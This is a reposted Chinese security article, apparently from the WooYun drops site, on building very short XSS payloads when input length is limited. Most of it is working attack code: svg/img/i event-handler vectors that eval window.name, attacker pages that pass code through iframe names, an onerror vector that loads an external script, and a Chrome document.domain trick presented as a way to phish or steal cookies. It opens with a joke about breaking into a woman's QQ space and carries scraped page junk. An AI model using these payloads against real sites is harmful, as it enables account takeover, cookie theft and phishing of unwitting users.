<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/papers/512

            0x00 背景


            關鍵時候長度不夠怎么辦?

            在實際的情況中如果你不夠長怎么辦呢?看醫生?吃藥?做手術?。。。。。。。。。。。。。。算了,既然自身硬件不足,那么就把缺點變優點吧。熟話說:小是小威力好。

            熟話說的好,要能長能短,收放自如。在很多的情況中,我們構造的語句是被限制在一定的字符數內。所以這個就是考驗你能短的時候能不能短,能長的時候能不能長的時候到了。

            0x01 現實中的悲劇


            這是一個活生生的悲劇,一個平臺上面,一個二逼朋友有妹子的平臺賬號,但是二逼朋友想進妹子的QQ空間,用平臺的備注插QQ-XSS代碼,但是因為限制的字符太短,最終抱頭痛哭。于是就有了下圖所發生:

            2013082023315075455.jpg

            0x02 怎么變”短”


            #!html
            "><script>alert(1)</script> 
            

            .............................27 letters?

            Alert(1)? No Run?

            Impossible?

            No!

            在實際情況中,可以通過<h1>短向量或者其他的短向量去測試存在XSS的地方,為什么可以這樣?HTML是一門”不太嚴格”的解釋語言,即使沒有</h1>,很多瀏覽器也照樣可以解釋為

            #!html
            <h1>xss</h1>
            

            <h1>xss

            S1:

            2013082023324089066.jpg

            S2:

            2013082023330469883.jpg

            S3:

            2013082023332018566.jpg

            但是如果在攻擊的時候,我往往需要用到很多標簽、屬性來達到我們的目的。下面列出一些比較猥瑣的利用

            <svg/onload=domain=id>

            S1:在chrome瀏覽器存在一個同域讀取漏洞,為什么說同域呢?

            S2:在chrome下如果我們訪問www.baidu.com,通過控制臺來設置一下域為空,document.domain="",就會出現以下的錯誤。

            2013082023341576811.jpg

            S3:為什么說chrome瀏覽器存在一個同域讀取漏洞呢?下面我們通過訪問www.baidu.com.來訪問一下(com后面還有一個.)并設置一下域為空

            #!javascript
            document.domain=""
            

            設置結果就會出現以下圖片所示。

            2013082023344564837.jpg

            S4:這個怎么利用?

            首先說一個問題,就是說,在同域的情況下,DOM是互通的。就相當于我a可以寫b的,b也可以同樣寫a的。那我們該怎么來利用呢?我們可以干很多事情,比如說重寫頁面釣魚,或者盜取同域Cookie。下面我就用Chrome的控制臺來演示一下這個內容讀取漏洞。

            S5:先來看看兩段代碼:

            本地構造的攻擊頁面如下:

            #!html
            <!DOCTYPE html>
            <html>
              <body>
                <h1>這是a.com./12.html</h1>
                <svg/onload=domain=id>
              </body>
            </html>
            

            存在缺陷的XSS頁面如下:

            #!html
            <!DOCTYPE html>
            <html>
              <body>
                <h1>這是b.com./11.html</h1>
                <svg/onload=domain=id>
              </body>
            </html>
            

            S6:下面我們通過訪問我們構造的攻擊頁面,也就是a.com./12.html,然后讀取domain看看,結果如下圖:

            2013082023361468608.jpg

            S7:然后我們在控制臺里面用window.open()方法打開打開存在缺陷的XSS頁面.然后同樣用domain查看域.

            2013082023365253563.jpg

            S8:我們從上面就可以查看出,現在a.com.和b.com.都是處于同一域下面,那么就可以實現DOM相通的概念了。

            S9:通過DOM重寫頁面測試,測試結果如下圖:

            2013082023374053213.jpg

            S10:其實這個方法的用處很多,比如說我找到XXX的XSS頁面,我通過把域置空,然后在自己站上構造一個頁面,怎么構造就要看你的思維了,通過同域的DOM操作,可以釣魚的方式盜取COOKIE、密碼等。

            <svg/onload=eval(name)>

            S1:先把代碼文譯一下:

            #!html
            <svg/onload=eval(window.name)>
            

            S2:這一段代碼通過svg載入的時候執行onload事件,執行的時候通過windows.name傳遞給eval執行,如果我們自己構造一個攻擊頁面,然后傳遞的XSS代碼呢?下面看一段代碼:

            本地構造的攻擊頁面:

            #!html
            <!DOCTYPE html>
            <html>
              <body>
                <iframe src="11.html" name="alert(1)"></iframe>
              </body>
            </html>
            

            存在缺陷的XSS頁面:

            #!html
            <!DOCTYPE html>
            <html>
             <body>
                <svg/onload=eval(name)>
             </body>
            </html>
            

            S3:然后運行頁面,測試結果如下:

            2013082023383876930.jpg

            <i/onclick=URL=name>

            S1:上面的代碼文譯一下:

            #!html
            <i/onclick=document.URL=window.name>
            

            S2:其實這段代碼和上一段差不多多少,這里就不截圖了,簡單的講解一下。通過點擊執行事件把window.name的內容給document.URL然后執行javascript代碼。那么我們可以怎么利用呢?

            存在缺陷的XSS頁面如下:

            #!html
            <!DOCTYPE html>
            <html>
                <body>
                    <i/onclick=URL=name>
                </body>
            </html>
            

            本地構造的攻擊頁面如下:

            #!html
            <!DOCTYPE html>
            <html>
                <body>
                    <iframe src="11.html" name="javascript:alert(1)"></iframe>
                </body>
            </html>
            

            <img src=x onerror=eval(name)>

            S1:先把代碼文譯一下:

            #!html
            <img src=x onerror=eval(window.name)>
            

            S2:邪惡的eval又來了。通過img元素的src屬性出錯,執行onerror事件,通過邪惡的eval執行window.name里面的代碼。

            S3:那我們怎么來實現呢?

            本地構造的攻擊頁面如下:

            #!html
            <!DOCTYPE html>
            <html>
                <body>
                    <iframe src="11.html" name="alert(1)"></iframe>
                </body>
            

              

            存在缺陷的XSS頁面如下:

            #!html
            <!DOCTYPE html>
            <html>
                <body>
                    <img src="s.sx" onerror=eval(name) />
                </body>
            </html>
            

            其實有很多用法,當然你也可以直接:

            #!html
            <img src=x onerror=eval(alert(1)) />
            

            2013082023401581483.jpg

            還可以

            #!html
            <img?src=x?onerror=eval(變量)?/>
            

            2013082023410714365.jpg

            還可以通過調用元素屬性,或者是程序員自寫的js代碼

            2013082023425551862.jpg

            <img?src=x?onerror=with(body)createElement('script').src='[JS地址]'>

            S1:通過img元素的src屬性出錯,執行onerror事件.

            S2:用with定位到body,通過DOM的一個createElement方法創建一個script元素,并使用script的src屬性指向需要調用的外部js文件。從而達到攻擊的目的。

            S3:這個就不講解了,都應該能夠看懂

            0x03 實例


            下面引用長谷川的PPT的一部分(此PPT引用經過作者同意)

            2013082023440538047.jpg

            2013082023443139294.jpg

            通過查看源代碼:

            地址:

            https://*.live.com/?param=><h1>XSSed</h1><!--
            
            
            
            
            
            #!html
            <!-- Version: "13.000.20177.00" Server: BAYIDSLEG1C38; DateTime: 2012/05/01 15:13:23 -->
            <input type="hidden" value="MESSAGE: A potentially dangerous Request.QueryString value was detected from the client (param="><h1>XSSed</h1><!--").
            SOURCE: System.Web FORM:" />
            

            找出了XSS的原因是由錯誤消息引起的XSS

            然后通過攻擊者自己構造的頁面構造XSS,并成功實現。

            #!html
            <iframe src="target" name="javascript:alert(1)">
            

            (或者使用JavaScript的window.open)

            最終:作者通過21個字符實現XSS(關于實現的方法請見上面的一些比較猥瑣的利用元素標簽)

            代碼為:

            #!html
            ><i/onclick=URL=name>
            

            當然22個字符也有很多方法(//后面為我們構造的代碼開始) 20 Letters

            #!html
            <input type=hidden value=//><i/onclick=URL=name>
            

            22 Letters

            #!html
            <input type=hidden value="http://"><i/onclick=URL=name>">
            

            17 Letters

            #!html
            <input type=text value= //onclick=URL=name>
            

            2013082023451443889.jpg

            2013082023454387143.jpg

            0x04 挑戰最”短”


            這個活動是國外一個網站發布的,名為XSS challenge,大家有興趣可以討論一下 19 Letters

            <x/x=&{eval(name)};
            

            22 Letters

            <svg/onload=eval(name)
            

            最短的javascript執行代碼,考驗你”短”的時候到了

            10 Letters eval(name)
            9 Letters eval(URL)
            8 Letters URL=name
            6 Letters $(URL)
            

            0x05 總結


            Javascript是一門很好玩的解釋型語言,每次去研究這些XSS點的時候會有很多樂趣,你越不相信這個點有XSS,那么就越要去研究這個點是否有XSS。

            其實呢~~~這些技術可以稱為猥瑣流。。。因為不是按正常的邏輯思維是想不到這些的,除非那些思想很猥瑣的人。~~~~~~~

            歡迎你加入猥瑣這個團隊,讓我們一起猥瑣吧。

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线